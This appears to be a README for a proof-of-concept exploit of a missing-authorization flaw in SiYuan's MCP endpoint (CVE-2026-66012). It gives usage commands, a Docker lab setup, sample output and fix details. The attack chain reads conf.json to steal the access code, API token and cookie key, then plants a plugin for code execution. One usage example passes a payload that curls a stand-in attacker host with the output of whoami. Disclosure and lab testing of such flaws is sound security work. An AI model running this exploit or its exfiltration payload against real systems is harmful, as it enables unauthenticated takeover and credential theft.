
Unauthenticated administrator takeover exploit for CVE-2026-66012 using MCP missing authorization to exfiltrate credentials and achieve remote code execution.
Proof of Concept for CVE-2026-66012 (CVSS 10.0 Critical), a missing-authorization vulnerability in SiYuan's MCP (Model Context Protocol) endpoint that allows an unauthenticated attacker to achieve administrator takeover and remote code execution when the Publish server is enabled in anonymous mode.
| Field | Value |
|---|---|
| CVE | CVE-2026-66012 |
| CVSS 3.1 | 10.0 Critical |
| CWE | CWE-862 — Missing Authorization |
| Affected | SiYuan < v3.7.2 |
| Fixed | v3.7.2 (commit df51c2bda696) |
| Reporter | Nguyen Van Hiep (@hypnguyen1209), MBBank |
Three defects compose into the attack chain:
POST /mcp is registered with model.CheckAuth only — no CheckAdminRole or CheckReadonly. Any valid JWT (including Reader-scoped) can invoke all 31 MCP tools.handler.go) calls tools without inspecting the caller's role.RoleReader JWT into every request when Publish.Auth.Enable=false, converting the missing-authorization bug into an unauthenticated one.POST /mcp on the Publish port (no credentials)conf/conf.json → extract accessAuthCode, api.token, cookieKeydata/plugins/pwn/ → RCE on next desktop launch via nodeIntegration:trueaccessAuthCoderequests library (pip install requests)# Full exploit (credential exfil + plugin plant + admin escalation)
python3 exploit.py http://TARGET:6808
# Custom payload for the planted plugin
python3 exploit.py http://TARGET:6808 "curl http://attacker.com/$(whoami)"
# Credential exfiltration only (no plugin planting)
python3 exploit.py http://TARGET:6808 --no-plugin
For authorized testing only. Set up a vulnerable instance locally:
# Create workspace
LAB_ROOT=/tmp/siyuan-lab
rm -rf "$LAB_ROOT" && mkdir -p "$LAB_ROOT/workspace"
chmod 777 "$LAB_ROOT" "$LAB_ROOT/workspace"
# Start vulnerable SiYuan v3.7.1
docker run -d --name siyuan-lab \
-p 127.0.0.1:6806:6806 -p 127.0.0.1:6808:6808 \
-v "$LAB_ROOT/workspace":/siyuan/workspace \
-e "SIYUAN_ACCESS_AUTH_CODE=labpass-9f4c1a" \
-e "PUID=1000" -e "PGID=1000" \
b3log/siyuan:v3.7.1 \
serve --accessAuthCode=labpass-9f4c1a --lang=en_US
sleep 6
# Enable Publish server in anonymous mode
API_TOKEN=$(docker exec siyuan-lab sh -c \
'sed -n "s/.*\"token\": *\"\([^\"]*\)\".*/\1/p" /siyuan/workspace/conf/conf.json | head -1')
curl -sS -X POST http://127.0.0.1:6806/api/setting/setPublish \
-H "Authorization: Token $API_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"enable":true,"port":6808,"auth":{"enable":false,"accounts":[]}}'
# Run the exploit
python3 exploit.py http://127.0.0.1:6808 "id"
=================================================================
CVE-2026-66012 — SiYuan MCP Admin Takeover
Target: http://127.0.0.1:6808
=================================================================
[*] Starting MCP handshake...
[+] Session established: 1atnx3vlzoccx89n
[*] Reading conf/conf.json via MCP file tool...
[+] Exfiltrated credentials:
accessAuthCode: labpass-9f4c1a
cookieKey: zhia862a5vfvraau
api_token: nsnt2m0n4lwv2a43
[*] Planting plugin with payload: id
[+] Plugin planted at data/plugins/pwn/
Payload executes on next desktop launch
[*] Attempting admin login at http://127.0.0.1:6806...
[+] Administrator session established
Token: lqfhx...
=================================================================
Exploit complete.
Plugin will execute 'id' on next desktop launch.
For authorized testing only.
=================================================================
Upgrade to SiYuan v3.7.2 or later. The fix (commit df51c2bda696) applies:
CheckAdminRole + CheckReadonly middleware on /mcp routeconf/conf.json access in the file toolThis PoC is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have explicit permission to test is illegal. The authors are not responsible for any misuse of this code.